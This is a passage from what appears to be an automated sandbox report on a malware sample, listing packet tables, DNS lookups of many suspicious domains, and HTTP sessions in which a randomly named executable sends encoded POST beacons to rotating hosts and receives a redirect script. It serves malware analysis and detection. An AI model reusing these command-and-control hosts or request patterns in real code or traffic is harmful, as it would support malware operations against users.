Nov 6, 2024 15:26:03.584652901 CET	80	49744	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:03.584808111 CET	80	49744	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:03.584819078 CET	80	49744	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:03.584844112 CET	49744	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:03.585237026 CET	80	49744	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:03.585269928 CET	49744	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:03.587492943 CET	80	49744	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:03.587532043 CET	49744	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:04.177460909 CET	49744	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:05.196531057 CET	49745	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:05.201554060 CET	80	49745	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:05.203579903 CET	49745	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:05.241766930 CET	49745	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:05.246942043 CET	80	49745	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:06.279906988 CET	80	49745	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:06.279956102 CET	80	49745	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:06.279968977 CET	80	49745	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:06.280024052 CET	49745	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:06.280416012 CET	80	49745	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:06.280430079 CET	80	49745	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:06.280441999 CET	80	49745	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:06.280517101 CET	49745	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:06.280553102 CET	49745	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:06.281203032 CET	80	49745	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:06.281215906 CET	80	49745	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:06.281227112 CET	80	49745	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:06.281265020 CET	49745	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:06.281925917 CET	80	49745	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:06.281985998 CET	49745	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:06.284940004 CET	80	49745	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:06.285173893 CET	80	49745	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:06.285268068 CET	49745	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:07.354706049 CET	80	49745	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:07.354742050 CET	80	49745	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:07.354758978 CET	80	49745	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:07.354893923 CET	49745	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:07.355098009 CET	80	49745	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:07.355144024 CET	49745	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:07.356086969 CET	80	49745	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:07.356168985 CET	49745	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:07.356713057 CET	80	49745	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:07.356774092 CET	49745	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:07.358179092 CET	49745	80	192.168.2.9	188.114.96.3
Nov 6, 2024 15:26:07.363003969 CET	80	49745	188.114.96.3	192.168.2.9
Nov 6, 2024 15:26:12.538419008 CET	49746	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:26:12.543335915 CET	80	49746	3.33.130.190	192.168.2.9
Nov 6, 2024 15:26:12.550407887 CET	49746	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:26:12.558417082 CET	49746	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:26:12.564217091 CET	80	49746	3.33.130.190	192.168.2.9
Nov 6, 2024 15:26:14.067749977 CET	49746	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:26:14.073072910 CET	80	49746	3.33.130.190	192.168.2.9
Nov 6, 2024 15:26:14.073165894 CET	49746	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:26:15.086770058 CET	49747	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:26:15.091914892 CET	80	49747	3.33.130.190	192.168.2.9
Nov 6, 2024 15:26:15.092048883 CET	49747	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:26:15.106415987 CET	49747	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:26:15.111263990 CET	80	49747	3.33.130.190	192.168.2.9
Nov 6, 2024 15:26:15.732847929 CET	80	49747	3.33.130.190	192.168.2.9
Nov 6, 2024 15:26:15.732903004 CET	49747	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:26:16.614643097 CET	49747	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:26:16.619611025 CET	80	49747	3.33.130.190	192.168.2.9
Nov 6, 2024 15:26:17.634531021 CET	49748	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:26:17.639467001 CET	80	49748	3.33.130.190	192.168.2.9
Nov 6, 2024 15:26:17.639544010 CET	49748	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:26:17.653306007 CET	49748	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:26:17.658240080 CET	80	49748	3.33.130.190	192.168.2.9
Nov 6, 2024 15:26:17.658601046 CET	80	49748	3.33.130.190	192.168.2.9
Nov 6, 2024 15:26:18.269594908 CET	80	49748	3.33.130.190	192.168.2.9
Nov 6, 2024 15:26:18.269659996 CET	49748	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:26:19.161619902 CET	49748	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:26:19.167361021 CET	80	49748	3.33.130.190	192.168.2.9
Nov 6, 2024 15:26:20.181570053 CET	49749	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:26:20.187108040 CET	80	49749	3.33.130.190	192.168.2.9
Nov 6, 2024 15:26:20.187210083 CET	49749	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:26:20.195993900 CET	49749	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:26:20.201065063 CET	80	49749	3.33.130.190	192.168.2.9
Nov 6, 2024 15:26:20.828954935 CET	80	49749	3.33.130.190	192.168.2.9
Nov 6, 2024 15:26:20.829704046 CET	80	49749	3.33.130.190	192.168.2.9
Nov 6, 2024 15:26:20.830574989 CET	49749	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:26:20.834086895 CET	49749	80	192.168.2.9	3.33.130.190
Nov 6, 2024 15:26:20.839164972 CET	80	49749	3.33.130.190	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 6, 2024 15:24:01.723546982 CET	55255	53	192.168.2.9	1.1.1.1
Nov 6, 2024 15:24:01.858381033 CET	53	55255	1.1.1.1	192.168.2.9
Nov 6, 2024 15:24:17.602632999 CET	56390	53	192.168.2.9	1.1.1.1
Nov 6, 2024 15:24:18.614953995 CET	56390	53	192.168.2.9	1.1.1.1
Nov 6, 2024 15:24:18.799607038 CET	53	56390	1.1.1.1	192.168.2.9
Nov 6, 2024 15:24:18.799624920 CET	53	56390	1.1.1.1	192.168.2.9
Nov 6, 2024 15:24:32.338408947 CET	61672	53	192.168.2.9	1.1.1.1
Nov 6, 2024 15:24:32.350919962 CET	53	61672	1.1.1.1	192.168.2.9
Nov 6, 2024 15:24:46.416063070 CET	59210	53	192.168.2.9	1.1.1.1
Nov 6, 2024 15:24:46.844971895 CET	53	59210	1.1.1.1	192.168.2.9
Nov 6, 2024 15:25:00.260596037 CET	54180	53	192.168.2.9	1.1.1.1
Nov 6, 2024 15:25:00.294888973 CET	53	54180	1.1.1.1	192.168.2.9
Nov 6, 2024 15:25:14.087321043 CET	49349	53	192.168.2.9	1.1.1.1
Nov 6, 2024 15:25:14.219341040 CET	53	49349	1.1.1.1	192.168.2.9
Nov 6, 2024 15:25:27.696969032 CET	52004	53	192.168.2.9	1.1.1.1
Nov 6, 2024 15:25:28.708626986 CET	52004	53	192.168.2.9	1.1.1.1
Nov 6, 2024 15:25:29.709009886 CET	52004	53	192.168.2.9	1.1.1.1
Nov 6, 2024 15:25:29.811496019 CET	53	52004	1.1.1.1	192.168.2.9
Nov 6, 2024 15:25:29.811537027 CET	53	52004	1.1.1.1	192.168.2.9
Nov 6, 2024 15:25:29.811574936 CET	53	52004	1.1.1.1	192.168.2.9
Nov 6, 2024 15:25:43.915815115 CET	63450	53	192.168.2.9	1.1.1.1
Nov 6, 2024 15:25:44.103535891 CET	53	63450	1.1.1.1	192.168.2.9
Nov 6, 2024 15:25:57.510509968 CET	64718	53	192.168.2.9	1.1.1.1
Nov 6, 2024 15:25:57.523144960 CET	53	64718	1.1.1.1	192.168.2.9
Nov 6, 2024 15:26:12.370408058 CET	54521	53	192.168.2.9	1.1.1.1
Nov 6, 2024 15:26:12.531785965 CET	53	54521	1.1.1.1	192.168.2.9
Nov 6, 2024 15:26:26.384201050 CET	64608	53	192.168.2.9	1.1.1.1
Nov 6, 2024 15:26:27.326215982 CET	53	64608	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 6, 2024 15:24:01.723546982 CET	192.168.2.9	1.1.1.1	0x34b	Standard query (0)	www.stopgazviganais.org	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:24:17.602632999 CET	192.168.2.9	1.1.1.1	0xe610	Standard query (0)	www.86350.xyz	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:24:18.614953995 CET	192.168.2.9	1.1.1.1	0xe610	Standard query (0)	www.86350.xyz	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:24:32.338408947 CET	192.168.2.9	1.1.1.1	0x78b8	Standard query (0)	www.cctv9.rest	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:24:46.416063070 CET	192.168.2.9	1.1.1.1	0x9619	Standard query (0)	www.ninesquare.games	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:25:00.260596037 CET	192.168.2.9	1.1.1.1	0x9aa5	Standard query (0)	www.capecuvee.net	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:25:14.087321043 CET	192.168.2.9	1.1.1.1	0x5c81	Standard query (0)	www.arcare.partners	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:25:27.696969032 CET	192.168.2.9	1.1.1.1	0x839e	Standard query (0)	www.cqghwamc.top	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:25:28.708626986 CET	192.168.2.9	1.1.1.1	0x839e	Standard query (0)	www.cqghwamc.top	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:25:29.709009886 CET	192.168.2.9	1.1.1.1	0x839e	Standard query (0)	www.cqghwamc.top	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:25:43.915815115 CET	192.168.2.9	1.1.1.1	0xbbdb	Standard query (0)	www.setsea.info	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:25:57.510509968 CET	192.168.2.9	1.1.1.1	0x6d6f	Standard query (0)	www.evoolixyppuk.shop	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:26:12.370408058 CET	192.168.2.9	1.1.1.1	0x9c63	Standard query (0)	www.bidiez.com	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:26:26.384201050 CET	192.168.2.9	1.1.1.1	0x9617	Standard query (0)	www.ooossshhh.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 6, 2024 15:24:01.858381033 CET	1.1.1.1	192.168.2.9	0x34b	No error (0)	www.stopgazviganais.org		104.21.12.211	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:24:01.858381033 CET	1.1.1.1	192.168.2.9	0x34b	No error (0)	www.stopgazviganais.org		172.67.196.90	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:24:18.799607038 CET	1.1.1.1	192.168.2.9	0xe610	No error (0)	www.86350.xyz	huayang.302.gn301.xyz		CNAME (Canonical name)	IN (0x0001)	false
Nov 6, 2024 15:24:18.799607038 CET	1.1.1.1	192.168.2.9	0xe610	No error (0)	huayang.302.gn301.xyz		107.148.177.200	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:24:18.799607038 CET	1.1.1.1	192.168.2.9	0xe610	No error (0)	huayang.302.gn301.xyz		172.247.44.157	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:24:18.799624920 CET	1.1.1.1	192.168.2.9	0xe610	No error (0)	www.86350.xyz	huayang.302.gn301.xyz		CNAME (Canonical name)	IN (0x0001)	false
Nov 6, 2024 15:24:18.799624920 CET	1.1.1.1	192.168.2.9	0xe610	No error (0)	huayang.302.gn301.xyz		107.148.177.200	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:24:18.799624920 CET	1.1.1.1	192.168.2.9	0xe610	No error (0)	huayang.302.gn301.xyz		172.247.44.157	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:24:32.350919962 CET	1.1.1.1	192.168.2.9	0x78b8	No error (0)	www.cctv9.rest		114.134.188.182	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:24:46.844971895 CET	1.1.1.1	192.168.2.9	0x9619	No error (0)	www.ninesquare.games	ninesquare.games		CNAME (Canonical name)	IN (0x0001)	false
Nov 6, 2024 15:24:46.844971895 CET	1.1.1.1	192.168.2.9	0x9619	No error (0)	ninesquare.games		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:24:46.844971895 CET	1.1.1.1	192.168.2.9	0x9619	No error (0)	ninesquare.games		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:25:00.294888973 CET	1.1.1.1	192.168.2.9	0x9aa5	No error (0)	www.capecuvee.net	capecuvee.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 6, 2024 15:25:00.294888973 CET	1.1.1.1	192.168.2.9	0x9aa5	No error (0)	capecuvee.net		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:25:00.294888973 CET	1.1.1.1	192.168.2.9	0x9aa5	No error (0)	capecuvee.net		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:25:14.219341040 CET	1.1.1.1	192.168.2.9	0x5c81	No error (0)	www.arcare.partners	arcare.partners		CNAME (Canonical name)	IN (0x0001)	false
Nov 6, 2024 15:25:14.219341040 CET	1.1.1.1	192.168.2.9	0x5c81	No error (0)	arcare.partners		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:25:14.219341040 CET	1.1.1.1	192.168.2.9	0x5c81	No error (0)	arcare.partners		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:25:29.811496019 CET	1.1.1.1	192.168.2.9	0x839e	No error (0)	www.cqghwamc.top		221.128.225.57	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:25:29.811537027 CET	1.1.1.1	192.168.2.9	0x839e	No error (0)	www.cqghwamc.top		221.128.225.57	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:25:29.811574936 CET	1.1.1.1	192.168.2.9	0x839e	No error (0)	www.cqghwamc.top		221.128.225.57	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:25:44.103535891 CET	1.1.1.1	192.168.2.9	0xbbdb	No error (0)	www.setsea.info		203.161.41.204	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:25:57.523144960 CET	1.1.1.1	192.168.2.9	0x6d6f	No error (0)	www.evoolixyppuk.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:25:57.523144960 CET	1.1.1.1	192.168.2.9	0x6d6f	No error (0)	www.evoolixyppuk.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:26:12.531785965 CET	1.1.1.1	192.168.2.9	0x9c63	No error (0)	www.bidiez.com	bidiez.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 6, 2024 15:26:12.531785965 CET	1.1.1.1	192.168.2.9	0x9c63	No error (0)	bidiez.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:26:12.531785965 CET	1.1.1.1	192.168.2.9	0x9c63	No error (0)	bidiez.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:26:27.326215982 CET	1.1.1.1	192.168.2.9	0x9617	No error (0)	www.ooossshhh.shop		8.210.114.150	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.stopgazviganais.org

www.86350.xyz

www.cctv9.rest

www.ninesquare.games

www.capecuvee.net

www.arcare.partners

www.cqghwamc.top

www.setsea.info

www.evoolixyppuk.shop

www.bidiez.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49709	104.21.12.211	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:24:01.877717972 CET	495	OUT	GET /9jt8/?pP=8a+3HSfwCNVsEt212CXMt0mt/2JPDfnH/xSV9JAxfMtg6n4EmM73a+EnCckDJOBVsSjgWFsc3csyb0L4cEbYMoHK4HiTfxbKFAt5P4lfA5zdi62kPw==&UJO=A6MH4FUp HTTP/1.1 Host: www.stopgazviganais.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1
Nov 6, 2024 15:24:02.556848049 CET	1141	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 06 Nov 2024 14:24:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Location: https://www.mothersalwaysright.com/9jt8/?pP=8a+3HSfwCNVsEt212CXMt0mt/2JPDfnH/xSV9JAxfMtg6n4EmM73a+EnCckDJOBVsSjgWFsc3csyb0L4cEbYMoHK4HiTfxbKFAt5P4lfA5zdi62kPw==&UJO=A6MH4FUp cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bzvy41OkBYHHckIrf3HTEyOnlzqgrrO%2FLVCTtblLCYmcvOh1iV7ikl3t0BSdIXf6YadzREX9jWOlGfK7RIsdS5hsQPlj8Jx9eP7a8AFQZ4xZ2aw5N%2BYE%2Fro6Mj8h9s%2B8Mf%2BsiwSigmJ83w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8de5beaf2bdea924-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1635&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=495&delivery_rate=0&cwnd=199&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 65 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2d 72 63 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: ae<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx-rc/1.25.3.2</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49711	107.148.177.200	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:24:18.821130037 CET	738	OUT	POST /gt2u/ HTTP/1.1 Host: www.86350.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 191 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.86350.xyz Referer: http://www.86350.xyz/gt2u/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 33 36 72 46 76 46 6f 68 44 58 39 77 52 6c 44 79 38 30 2b 37 49 74 68 62 59 64 55 61 35 6a 6d 61 2b 49 30 43 6d 65 35 43 6b 42 5a 71 30 42 73 65 53 39 4a 75 6d 77 31 77 4c 6a 72 63 31 5a 51 63 30 66 39 47 45 37 47 32 37 67 41 5a 2f 47 50 35 75 54 41 55 4c 69 68 4f 43 57 35 68 54 72 69 44 54 36 53 64 6a 44 73 49 67 6d 48 4b 64 4c 54 39 30 4b 4e 42 78 2b 31 34 2f 31 65 6a 4a 38 6a 33 2b 30 74 77 4f 71 59 36 72 6b 64 50 6f 4b 7a 79 37 46 58 77 72 65 6f 38 55 55 42 72 39 77 62 34 39 30 73 36 61 56 32 72 4b 43 61 32 6b 4e 49 72 5a 78 75 62 64 52 79 59 42 38 6f 41 Data Ascii: pP=36rFvFohDX9wRlDy80+7IthbYdUa5jma+I0Cme5CkBZq0BseS9Jumw1wLjrc1ZQc0f9GE7G27gAZ/GP5uTAULihOCW5hTriDT6SdjDsIgmHKdLT90KNBx+14/1ejJ8j3+0twOqY6rkdPoKzy7FXwreo8UUBr9wb490s6aV2rKCa2kNIrZxubdRyYB8oA
Nov 6, 2024 15:24:19.482367039 CET	557	IN	HTTP/1.0 200 OK Connection: close Cache-Control: max-age=259200 Content-Type: text/html;charset=utf-8 Content-Length: 428 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 22 20 69 64 3d 22 68 61 6f 31 32 33 22 3e 3c 2f 61 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 73 74 72 55 3d 22 68 74 74 70 73 3a 2f 2f 68 74 74 70 2e 67 6e 33 30 31 2e 63 6f 6d 3a 31 32 33 34 35 2f 3f 75 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2b 22 26 70 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 3b 68 61 6f 31 32 33 2e 68 72 65 66 3d 73 74 72 55 3b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 68 61 6f 31 32 33 22 29 2e 63 6c 69 63 6b 28 29 3b 7d 65 6c 73 65 20 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 3b 65 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 6c 69 [TRUNCATED] Data Ascii: <html><head></head><body><a href="" id="hao123"></a><script type="text/javascript">var strU="https://http.gn301.com:12345/?u="+window.location+"&p="+window.location.pathname+window.location.search;hao123.href=strU;if(document.all){document.getElementById("hao123").click();}else {var e=document.createEvent("MouseEvents");e.initEvent("click",true,true);document.getElementById("hao123").dispatchEvent(e);}</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49712	107.148.177.200	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:24:21.369060993 CET	762	OUT	POST /gt2u/ HTTP/1.1 Host: www.86350.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 215 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.86350.xyz Referer: http://www.86350.xyz/gt2u/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 33 36 72 46 76 46 6f 68 44 58 39 77 51 46 54 79 2b 54 71 37 45 64 68 59 47 4e 55 61 77 44 6d 42 2b 49 34 43 6d 63 55 48 6b 53 39 71 31 6c 67 65 41 4f 52 75 6c 77 31 77 65 54 71 55 37 35 51 44 30 66 42 30 45 37 4b 32 37 67 45 5a 2f 45 48 35 75 6b 55 56 4a 79 68 49 62 6d 35 6a 5a 4c 69 44 54 36 53 64 6a 48 45 6d 67 6d 50 4b 65 34 4c 39 30 72 4e 43 75 4f 31 37 6f 46 65 6a 4e 38 69 2b 2b 30 74 4f 4f 72 46 56 72 6e 6c 50 6f 50 58 79 38 55 58 2f 68 65 6f 36 5a 30 42 39 38 54 71 32 79 7a 63 58 45 33 57 52 51 56 71 45 75 4d 6f 31 49 44 6e 41 49 47 79 2f 47 62 68 6f 47 44 71 4d 34 39 71 75 4f 4d 55 50 58 59 44 63 76 74 77 6b 39 67 3d 3d Data Ascii: pP=36rFvFohDX9wQFTy+Tq7EdhYGNUawDmB+I4CmcUHkS9q1lgeAORulw1weTqU75QD0fB0E7K27gEZ/EH5ukUVJyhIbm5jZLiDT6SdjHEmgmPKe4L90rNCuO17oFejN8i++0tOOrFVrnlPoPXy8UX/heo6Z0B98Tq2yzcXE3WRQVqEuMo1IDnAIGy/GbhoGDqM49quOMUPXYDcvtwk9g==
Nov 6, 2024 15:24:21.892896891 CET	557	IN	HTTP/1.0 200 OK Connection: close Cache-Control: max-age=259200 Content-Type: text/html;charset=utf-8 Content-Length: 428 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 22 20 69 64 3d 22 68 61 6f 31 32 33 22 3e 3c 2f 61 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 73 74 72 55 3d 22 68 74 74 70 73 3a 2f 2f 68 74 74 70 2e 67 6e 33 30 31 2e 63 6f 6d 3a 31 32 33 34 35 2f 3f 75 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2b 22 26 70 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 3b 68 61 6f 31 32 33 2e 68 72 65 66 3d 73 74 72 55 3b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 68 61 6f 31 32 33 22 29 2e 63 6c 69 63 6b 28 29 3b 7d 65 6c 73 65 20 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 3b 65 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 6c 69 [TRUNCATED] Data Ascii: <html><head></head><body><a href="" id="hao123"></a><script type="text/javascript">var strU="https://http.gn301.com:12345/?u="+window.location+"&p="+window.location.pathname+window.location.search;hao123.href=strU;if(document.all){document.getElementById("hao123").click();}else {var e=document.createEvent("MouseEvents");e.initEvent("click",true,true);document.getElementById("hao123").dispatchEvent(e);}</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49713	107.148.177.200	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
